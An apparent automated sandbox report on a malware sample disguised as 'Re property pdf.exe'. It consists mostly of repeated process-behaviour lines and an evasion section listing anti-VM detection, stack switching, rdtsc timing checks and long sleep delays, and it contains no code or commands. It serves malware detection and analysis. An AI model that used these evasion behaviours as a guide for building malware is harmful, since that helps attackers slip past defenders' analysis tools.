Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: Re property pdf.exe PID: 7480, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: hwOHPmqcegxcxb.exe PID: 7852, type: MEMORYSTR

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\PresentationHost.exe	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\SysWOW64\PresentationHost.exe	API/Special instruction interceptor: Address: 7FFE2220D7E4
Source: C:\Windows\SysWOW64\PresentationHost.exe	API/Special instruction interceptor: Address: 7FFE2220D944
Source: C:\Windows\SysWOW64\PresentationHost.exe	API/Special instruction interceptor: Address: 7FFE2220D504
Source: C:\Windows\SysWOW64\PresentationHost.exe	API/Special instruction interceptor: Address: 7FFE2220D544
Source: C:\Windows\SysWOW64\PresentationHost.exe	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\PresentationHost.exe	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\SysWOW64\PresentationHost.exe	API/Special instruction interceptor: Address: 7FFE2220DA44

Source: C:\Users\user\Desktop\Re property pdf.exe	Memory allocated: 1300000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Memory allocated: 2CE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Memory allocated: 1370000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Memory allocated: 8DA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Memory allocated: 9DA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Memory allocated: 9FA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Memory allocated: AFA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Memory allocated: 11D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Memory allocated: 2D40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Memory allocated: 4E40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Memory allocated: 8A60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Memory allocated: 9A60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Memory allocated: 9C50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Memory allocated: AC50000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Re property pdf.exe

Code function: 6_2_0104096E rdtsc

6_2_0104096E

Source: C:\Users\user\Desktop\Re property pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6024	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 711	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Window / User API: threadDelayed 6628	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Window / User API: threadDelayed 3345	Jump to behavior

Source: C:\Users\user\Desktop\Re property pdf.exe	API coverage: 0.7 %
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	API coverage: 0.2 %

Source: C:\Users\user\Desktop\Re property pdf.exe TID: 7500	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7844	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7816	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe TID: 7872	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe TID: 7404	Thread sleep time: -75000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe TID: 7404	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe TID: 7404	Thread sleep time: -57000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe TID: 7404	Thread sleep count: 39 > 30	Jump to behavior
